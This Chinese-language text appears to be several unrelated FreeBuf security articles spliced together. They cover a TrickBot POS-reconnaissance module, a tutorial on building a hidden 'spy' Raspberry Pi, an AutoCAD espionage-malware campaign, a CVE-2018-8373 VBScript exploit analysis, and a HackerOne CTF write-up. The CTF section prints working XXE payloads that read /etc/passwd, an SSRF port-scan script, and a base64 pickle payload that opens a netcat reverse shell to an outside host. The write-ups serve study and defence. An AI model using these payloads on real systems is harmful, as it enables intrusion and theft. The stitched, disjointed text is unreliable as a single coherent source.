前几天研究人员发现TrickBot新增加了窃取用户凭证的pwgrab32模块,近日研究人员又发现TrickBot加入了新的POS模块,使这款银行木马变得更加危险。POS模块会扫描受感染的计算机以确定是否连接支持POS服务或设备的网络。

下面分析恶意软件作者如何利用这些信息,来入侵安装了POS相关服务的网络。根据攻击者的行为,研究人员认为这是为未来进一步入侵做信息收集的准备。

psfin32模块

图1. TrickBot新模块psfin32

psfin32是TrickBot新加入的POS提取模块,与之前加入的网络域名获取模块类似,只是简单修改来识别域名中与POS相关的项目。从域名控制器和基本账户中识别出POS服务,该模块可以使用LDAP查询来访问负责存储网络中对象信息的Active Directory Services (ADS)。LDAP查询会在Global Catalog中搜索含有以下字符串的dnsHostName:

1.png

图2. LDAP查询字符串搜索

图3. LDAP查询机器搜索

如果查询不能解析请求的信息,就执行其他账户或者对象的查询:

sAMAccountName:用于支持Windows操作系统版本,如Windows NT 4.0, Windows 95, Windows 98, LAN Manager。

图4. sAMAccountName用户查询

图5. sAMAccountName组查询

Site Name:

图6. Site name查询

Organizational Unit (OU):

图7. OU查询

除了域名控制器,恶意软件还会使用UserAccountControl (UAC) 8192查询网络中计算机的基本账户或用户。

图8.非域控制器查询

TrickBot提取信息后,会保存到之前配置的log文件中,并通过POST连接发送到C2服务器Dpost。如果C2服务器不能访问,就弹出“Dpost服务器不可达”,否则弹出“报告成功发送”。

图9. C2通信

总结

考虑到该模块应用的时间,研究人员认为攻击者还处于信息收集的阶段。分析的样本中的文档和URL都不能访问了,用户应该注意可疑的邮件、文件和附件。

前言

几乎所有人都知道,Raspberry Pi是一款功能强大且价格低廉的计算机,任何人都可以拥有和使用。Raspberry Pi仅略大于信用卡,但功能强大,足以满足您的任何计算需求。

在这个系列中,我们将构建我称之为“Raspberry Spy Pi”的东西。这将是一个主要用于间谍和间谍的Raspberry Pi。这些计算机体积小,功能强大,非常适合用于窥探。它们足够小,可以放入非常小的空间并且保持相对模糊,同时功能强大,足以成为远程间谍。由于他们可以运行包括Kali在内的完整版本的Linux,因此当他们远程停留在另一个站点时,他们具有黑客系统的所有功能。

步骤#1 入门

对于本系列,我将使用最新版本的Raspberry Pi,Model 3.我喜欢这个型号,因为它内置了Wi-Fi和蓝牙,使用更少的外部加密狗保持我们的足迹非常小。此外,Model 3在1.2GHz时速度更快,为64位。

在大多数情况下,以前的版本可以正常工作,虽然速度稍慢,但可能不那么隐蔽。速度在间谍游戏中并不总是至关重要,但可靠性是。

步骤#2 安装Raspbian映像

作为远程间谍设备,Raspbian操作系统将绰绰有余。在后面的教程中,我们将在我们的Spy上安装Kali Linux操作系统,但是现在,让我们使用标准的Raspbian操作系统。

在Raspberry Pi上,microSD是所有数据存在的地方,包括操作系统。因此,如果没有此卡,Pi将无法启动。对于我们将在这里进行的项目,我建议至少使用4gb microSD,但是更大的microSD将为您提供更多其他项目的灵活性。

步骤#3 下载Raspbian图像

如果您的Pi没有操作系统,则需要下载并安装它。您可以在https://www.raspberrypi.org/downloads找到它。

当您进入Raspberry Pi网页时,请单击顶部菜单中的下载,如上所示。

这将打开下面的页面。单击Raspbian操作系统。

这将打开此页面。单击下面显示的“下载”按钮。

操作系统映像大约为1.3 Gb。

如果您下载了zip文件,则必须首先将其解压缩,然后才能继续。

步骤#4 将Raspbian安装到SD卡上

下载并解压缩操作系统映像后,您需要将其刻录到SD卡。

Windows Image Burn

如果您使用的是Windows,请尝试使用免费的Win32磁盘映像器。你可以在这里下载。

要创建磁盘映像:

1. 将SD卡插入PC

2. 启动Win32 Disk Imager

3. 在您的设备中找到SD卡并记下它的字母

4. 单击SD卡图标。

5. 单击“写入”按钮以创建图像。

Linux Image Burn

如果您使用的是Linux,请将Raspbian映像解压缩到您的主文件夹,然后使用fdisk命令检查您拥有的驱动器。

sudo fdisk -l

假设SD卡是sdb,要将图像刻录到SD卡类型,我们可以输入;

sudo dd if = <image file name> of = / dev / sdb

这是一个相对缓慢的过程,所以要耐心等待。完成后,键入;

sudo同步

现在我们在SD卡上有Raspbian图像,只需将其从PC上的插槽中取出,然后将其放在Raspberry Spy Pi上的microSD插槽中即可。

步骤#5 启动你的Spy Pi

当您在Spy Pi上启动Raspbian操作系统时,系统会要求您登录。默认凭据是;

登录:pi

密码:

最终,您应该受到如上所述的GUI的欢迎。

步骤#6 连接到你的间谍Pi

由于我们将使用Raspberry Pi作为间谍,我们需要远程连接它。我们可以使用SSH或Secure Shell来完成此操作。

如果您使用的是Windows,则需要在Windows计算机上安装SSH客户端,例如PuTTY。您可以在www.putty.org下载

如果您使用的是Linux,那就更简单了。您只需打开终端并输入:

kali> ssh pi @ <IP地址>

正如您在上面的屏幕截图中看到的,最初,Pi SSH服务器将询问您正在连接的主机的真实性,一旦您回答“是”,它将继续并提示您输入密码。Pi上的默认密码是“raspberry”。如果您尚未更改,请在提示输入密码时输入。现在,您可以远程连接到Pi Spy!

步骤#7 安装摄像头

使用新的Raspberry Pi Zero和Raspberry Pi Model 3,我们可以安装一个小型摄像头进行间谍活动。这些相机能够拍摄高分辨率的图像和视频,并且相对便宜。您可以在亚马逊上以低至15美元的价格购买它们。我将使用一台500万像素的相机,我付了大约15美元。

摄像机连接到Pi的摄像机串行接口(CSI)端口,如下所示。打开Raspberry Pi并将相机连接到CSI。

连接相机后,它应该如下所示。

现在您的Raspberry Spy Pi已经启动并运行,配备了摄像头,并且您正在远程连接它,我们几乎可以将它用作间谍。

在本系列的下几个教程中,我将向您展示如何设置Spy Pi以从Spy Pi中获取高分辨率图片和视频以及录制音频!

*本文作者:legend1234,转载请注明来自FreeBuf.COM

近日,网络安全公司Forcepoint的研究人员发现了一种特殊的恶意软件分发行动,其目标是使用基于AutoCAD的恶意软件的公司。根据该公司遥测数据显示,自2014年以来,此项行动似乎一直处于活跃状态。

Forcepoint表示,最近发现了一起行动,并且发起该活动的组织很可能非常老练,他们的主要动机在工业间谍活动上。Forcepoint调查后发现该组织专注于使用像AutoCAD这样的利基感染载体,而AutoCAD是一款非常昂贵的软件,主要由工程师和设计师使用。

Forcepoint的专家在一份即将发表的调查报告中写道:

这些威胁行为者成功瞄准了多个地理位置的多家公司,其中至少有一家企业属于能源行业。

研究人员表示,黑客组织使用鱼叉式网络钓鱼电子邮件,这些邮件要么含有恶意AutoCAD文件的档案,要么含有指向受害者可以自行下载ZIP文件的网站的链接,以防“诱饵”文件需要超过标准电子邮件服务器的文件附件限制。这种“鱼叉式”钓鱼活动利用酒店、厂房、甚至港珠澳大桥等重大项目的已被盗的设计文件,作为进一步传播的诱饵。

威胁源头——AUTOCAD的脚本功能

Forcepoint表示,受害者有很大的概率会被感染,因为他们收到的带有AutoCAD (.cad)项目的ZIP文件也包含隐藏的快速加载AutoLISP (.fas)模块。

这些.fas模块相当于AutoCAD设计软件的脚本组件,类似于Word文件的宏。不同之处在于,FAS模块使用Lisp编程语言编写脚本,而不是使用VisualBasic或PowerShell,后者是与宏一起使用的首选脚本组件。

根据AutoCAD的安装设置,AutoCAD应用程序将在用户打开main.cad或任意.cad项目时自动执行这些.fas脚本模块。

AutoCAD软件的最新版本(2014年之后发布的版本)会在执行.fas模块时显示警告,但就像Office应用程序中的宏警告一样,有些人通常倾向于不考虑后果的略过所有安全警报,直奔内容而去。

分析进展

Forcepoint表示对此项行动的分析仍在持续跟进之中,

在过去的几个月中,我们已经跟踪并分析了大量(超过200个数据集和大约40个独特的恶意模块)的'acad.fas'版本,这些版本看起来像是基于一个小型下载器组件的扩展。

目前还不清楚余下的行动结果如何。研究人员观察到的恶意“aca .fas”模块会试图连接到远程命令控制(C&C)服务器,下载其他恶意软件,但还无法确定后续的恶意软件是什么。

研究人员表示:

目前尚不清楚,服务器端进行了额外检查,是为了方便针对特定受害者,还是仅仅是目前行动‘不活跃’状态下的产物。

Forcepoint表示,这个行动背后的团体似乎是一个基于AutoCAD恶意软件的狂热分子,因为C&C服务器的IP地址在以前的AutoCAD恶意软件活动中使用过。

此外,研究人员表示,这台C&C服务器正在运行的似乎是Microsoft Internet Information Server 6.0的中文版本,并且邻近的IP地址上也有托管类似的服务,很可能是一个更大的攻击设备的一部分。

如何自保

Forcepoint建议所有AutoCAD用户查看Autodesk的AutoCAD安全建议页面,了解如何防止恶意模块进行安全配置的技巧。该页面包括了如何限制AutoCAD执行FAS和其他脚本模块的能力的步骤,还有一些其他建议,比如如何在受到恶意代码攻击后恢复和清理AutoCAD安装。

此外,Forcepoint还警告称,黑客组织可能还会通过含有AutoCAD恶意文件的CD/DVD或USB驱动器的邮包发送一些恶意软件。

虽然有些人可能会认为此次行动对自身影响不大,但实际上这在许多设计和工程公司中都很常见,主要是因为一些用于存储零件或建筑结构的渲染的AutoCAD文件,可以很容易的达到1GB以上大小,许多公司担心在线暴露专有设计,而是依靠courrier服务来交换他们的一些文件。

当然,这也不是网络犯罪分子第一次使用基于AutoCAD的恶意软件来感染公司了,之前的记录分别是在2009年和2012年。

前言

VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序;查看,更改或删除数据;或创建具有完全用户权限的新帐户。

一、漏洞简介

在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

2018年8月14日,微软发布了安全补丁,影响流行的大部分系统版本。

漏洞基本信息
漏洞ID CVE-2018-8373
漏洞名称 Microsoft VBScript引擎远程执行代码漏洞
漏洞类型 远程代码执行
威胁类型 UAF
影响系统版本 IE9 WS 2008 32/64、IE10 Windows Server2012、IE11大部分版本

二、漏洞测试

系统环境 Win7 32/64
IE版本 IE10
EXP https://github.com/B1eed/VulRec/blob/master/CVE-2018-8373

三、漏洞原理

由于样本混淆严重,部分代码见图1,这里采用简化POC进行分析,代码见图2。

图1 样本采用了严重混淆

图2 Crash Poc

Crash PoC定义了MyClass类、一个array的成员变量和两个成员函数:Class_InitializeDefault Property Get PClass_Initialize是一种被弃用的方法,现在已经被新的过程所替代。当对象初始化的时候,会被自动唤醒。在PoC中,Class_Initialize是重载的,当调用VBScriptClass::InitializeClass时,处理的是重载的函数。

MyClass:通过new进行创建并赋值给指定变量cls,该操作首先会触发类的创建以及初始化,创建类的函数由vbscript!VBScriptClass::Create函数完成;

创建类成功后则会调用vbscript!VBScriptClass::InitializeClass函数对class的内容进行初始化;

vbscript!VAR::IsFunction函数中获取class指针;

随后调用class的虚函数vbscript!CScriptEntryPoint::Call进行初始化,最终的调用栈如下:

vbscript!CScriptRunTime::RunNoEH负责对编译后的vbs代码进行解释执行。这里执行类的初始化操作,主要包含了array数组的定义以及Class_Initialize函数的执行。

vbscript中创建数组的函数为vbscript!MakeArray,如下:

ReDim array(2):会调用vbscript!MakeArray来创建元素数是3的数组,如下图:

cls.array(2):调用vbscript!Accessarray来获取数组元素的地址。在vbscript!Accessarray中,首先会检查数组元素的索引是否越界,然后计算元素的地址,保存到栈中。

将元素的地址保存到堆栈上,保存 array(2)= 0x12ae6ff0地址到栈上。

cls.array(2)=cls:调用vbscript!AssignVar来设置MyClass的默认属性值为cls.array(2)。获取MyClass的默认属性值后,会调用Public Default PropertyGet P并执行Public Default Property Get P中的ReDim array(1),释放了原来的pvData。

ReDimPreserve array(1):重置array内存的操作实际通过函数RedimPreserveArray实现,最终会调用SafeArrayRedim可以看到array对象的pvData已经被修改为0x0818afe0,之前的pvData(0x12ae6fd0)的内存地址已经被释放,包括之前保存在栈上的0x12ae6ff0。

array(2)的地址仍然保存在栈中,Public Default Property Get P的返回值会访问释放的内存,最终导致UAF漏洞。

四、EXP调试分析

调试方法同Crash PoC,跟踪分析如何将二维数组修改长度为0x0FFFFFFF,如何实现任意内存读写以及如何伪造CONTEXT结构来执行Shellcode。

漏洞定义了两个数组,array1和array2。array1就是前面PoC中描述的数组,array2是一个二维数组,其中每个元素的值都是3。然后使用脚本回调函数DefaultPropertyGet释放原来的array1.pvData,设置array2为新的array1.pvData。因为原来array1.pvData的大小和array2.SAFEARRAY结构是相同的,在内存中是0×30字节。array2.SAFEARRAY结构将重用原始array1.pvData中释放的内存。同时,DefaultPropertyGet的返回值0x0FFFFFFFF会覆盖array2.SAFEARRAY的结构SAFEARRAYBOUND,并修改二维数组的长度为0x0FFFFFFF。

修改二维数组的长度为0x0FFFFFFF:

将array(index_vul)(index_a, 0)设置为“AAAA”,使下个array2的Data域就变成了8,因为string的VarType类型为8,这样就得到了一组可以混淆的array(index_vul)(index_a+n,0)和array(index_b)(0, n),通过将array(index_vul)(index_a,0)处的variant转化为长整型,令array(index_vul)(index_a,0)处的variant转化为数组,从而得到了一段泄露的内存util_mem,即可读写内存指定区域。

执行rw_primit后,指定位置已被覆盖成0x200C,有了一块泄露的内存util_mem,能够实现32位下用户态任意地址读写的一维数组:

执行Shellcode方法与8174相同,这里不再详细分析。

在Windows7环境下能够成功利用,以弹出calc为例。

五、参考链接

https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/

*本文作者:四维创智4DOGS,转载请注明来自FreeBuf.COM

我们从HackerOne的推特中得知这场CTF竞赛,并立即行动了起来。这场CTF竞赛从推特上一张包含二维码的图片开始。

image.png
二维码返回以下信息:

image.png

这些字符看上去很眼熟,因为它们是url编码的字节。因此我们在每两个字符后面加上了一个‘%’。 

image.png

然后我们用Burpsuite的解码器对这段字符进行了URL解码,得到了URL:(https://h1-5411.h1ctf.com):

image.png紧接着,我们开始浏览这个网站: 

image.png

这是一个创建表情包的网站,你可以选择一个模板(从一组封闭的图像中),然后制作属于你的表情包。我们发现一个有趣的页面,从这里真正的表情包开始产生: 

image.png可以选择表情包图片和文本的类型,在顶部和底部编辑关键的表情包文字之后,表情包将在底部展现。 

image.png从现在开始,每个生成的表情包都展示在”meme.php”页面上。 

我们仔细观察了一下生成表情包的请求,我们注意到在交换数据(包含表情包参数template)时,响应返回一个JSON,其中包含远程服务器上的本地表情包的路径信息。 

image.pngimage.png我们认为”template”参数区域可能容易受到本地文件包含的影响,并且确实如此。我们试图获取”/etc/passwd”文件,想办法去得到它:

image.pngimage.png在验证了漏洞之后,我们尝试获取这个网站的源码。我们从获取”index.php”开始: 

image.png

image.png

一旦我们成功的获取到了index.php文件,我们就可以遍历获取源码中引用的每个php文件,从而导致源码几乎完全被转储(未涵盖的代码不会显示,因为没有被引用)。 

image.png

我们开始审查源码,”header.php”引起了我们的注意。里面包含已经注释了的两个文件——导入和导出memes的php文件,看起来它们属于2.0版本的网站。 

image.png我们尝试去连接它们,发现在网站上可以查阅到: 

image.pngimage.png

快速的浏览了一下,EXPORT导出功能返回一个我们表情包的”memeapk”文件。 

image.png我们打开这个文件,显然这个文件包含php序列化数组的base64编码数据。 

image.png

这立即使我们意识到可能着面临一个反序列化漏洞。在PHP中,为了反序列化对象,PHP需要熟悉类的信息——这意味着我们只能序列化原始的或者已经定义的类。

除了熟悉这些类, 我们还需要一个接收器函数 (神奇函数), 它包含我们控制的数据, 并将由系统本地触发。

在之前提取的”class.php”文件里,我们发现3个定义的类:

1. Template

2. Maintenance

3. ConfigFile

Maintenace类被注释掉并且注释表明它属于内部服务。

ConfigFile类是最有意思的一个,因为它包含”_toString”神奇函数,该函数执行”parse”函数,该函数加载外部XML,可能导致XXE漏洞。

image.png

我们有了我们想要序列化的类,现在我们必须要找到调用序列化方法的位置。我们看到正在序列化的内容是存储在会话中的memes数组: 

image.png当上传新的”memepak”文件时,反序列化阶段执行于导出功能处。这个函数首选确认我们上传了一个文件,然后读取文件内容,进行base 64 解码然后传送到unserialize函数中。 

image.png

在这种情况下,我们尝试用反序列化函数来实现XXE。要做到这一点,需要调用”_toString”函数。在”memes.php”页面上,遍历memes数组,所以每个meme都被打印出来。打印该项触发了“_toString”方法,从而触发了”parse”函数。 

image.png

为了创建ConfigFile对象的序列化字符串,我们将ConfigFile类复制到我们的电脑上,使用我们所需要的参数创建了一个ConfigFile的实例,将其序列化并将其回显到控制台: 

image.png

上图中的”test.xml”文件包含一个恶意XXE payload,可以显示“/etc/passwd”文件。因此会返回以下字符串:

    a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}

 如前所述,“import_memes_2.0.php”文件接受base 64 编码的序列化字符串,该字符串表示php数组。

image.pngimage.png我们发送了包含单个ConfigFile实例的序列化数组(带有恶意payload): 

image.png

成功了!~

预料之中,得到了“/etc/passwd”,所以我们挖到了一个有效的XXE漏洞。

image.png我们现在面临的问题是将XXE漏洞升级为远程代码执行(RCE)。 

我们尝试了“expect://”模块,但是失败了。我们回想了在”classes.php”文件里提到的maintenance类,注释里提到内部服务,所以我们尝试了SSRF。 

简单起见,我们更改了XXE的payload,以便获取外部DTD。这将使我们免去更改序列化PHP对象的麻烦,并且只需要我们调用”memes.php”来触发XXE。 

新的序列化对象结果是: 

    a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}} 

而远程DTD文件的结果是: 

    <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80/ "><!ENTITY exfil "%data;"> 

我们首先尝试了使用payload获取”localhost:80”,但是没有任何返回。我们尝试了其他常见端口但没有成功。我们写了一个遍历整个端口范围的脚本,来测试我们是否能得到不同的响应:

import requests

s = '''<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:80"><!ENTITY exfil "%data;">'''

for i in range(0,65535):

    with open('exfil.dtd', 'w') as f:

        f.write(s.replace('80',str(i) ))

    print('[-] running ' + str(i))

    r = requests.get('https://h1-5411.h1ctf.com/memes.php', cookies={'PHPSESSID' : 'ockij83kja86797h54m2r6pso9'} )

    with open('results/'+ str(i) + '.html', 'w') as f:

        f.write(r.text)

 该脚本导致许多失败的结果(它们共享相同的文件大小3575)

image.png

终于,我们看到了一个文件大小不同的文件。该文件的端口号为1337: 

image.png文件的内容为: 

image.pngbase 64编码的内容(请注意debug参数): 

image.png我们尝试通过ssrf访问http://localhost:1337/status?debug=true ,并得到了如下返回: 

image.png经过base 64 解码我们得到如下内容: 

image.png

这些数据看起来像是python序列化对象。

然后我们访问“http://localhost:1337/update-status?debug=true&status=on”然后得到如下返回: 

image.png

这个返回使我们意识到我们应该对我们的数据进行编码(因为base 64 编码依赖于正确的填充)。 

我们发送相同的请求,只编码”status”参数值并得到如下返回: 

image.png

我们现在得到了一个不同的错误,说明服务器找不到MARK。此错误消息通常表示服务器正在尝试使用python pickle库取消选区对象。

我们发现如下gist,运行命令来产生pickle序列化python对象:https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd

我们用这个gist生成python对象并使用base64进行编码:

image.png这个序列化对象的内容是:

image.png

现在,我们更改了外部DTD以提供序列化对象:

    <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUyduYyAtZSAvYmluL3NoIGRvLm1hbGxvYy5jby5pbCA4MTkzJwpwMgp0UnAzCi4%3d&debug=true"><!ENTITY exfil "%data;">

然后,我们设置了一个netcat监听器并发送了请求。一旦XXE被触发,SSRF就会被触发,序列化对象被反序列化并且shell产生。现在我们有一个远程的shell,我们运行”ls”查看当前目录内容。我们观察到”flag.txt”文件并打开它,文件包含的内容如下所示: 

image.png*参考来源:HackerOne,由AngieQ编译,转载请注明来自FreeBuf.COM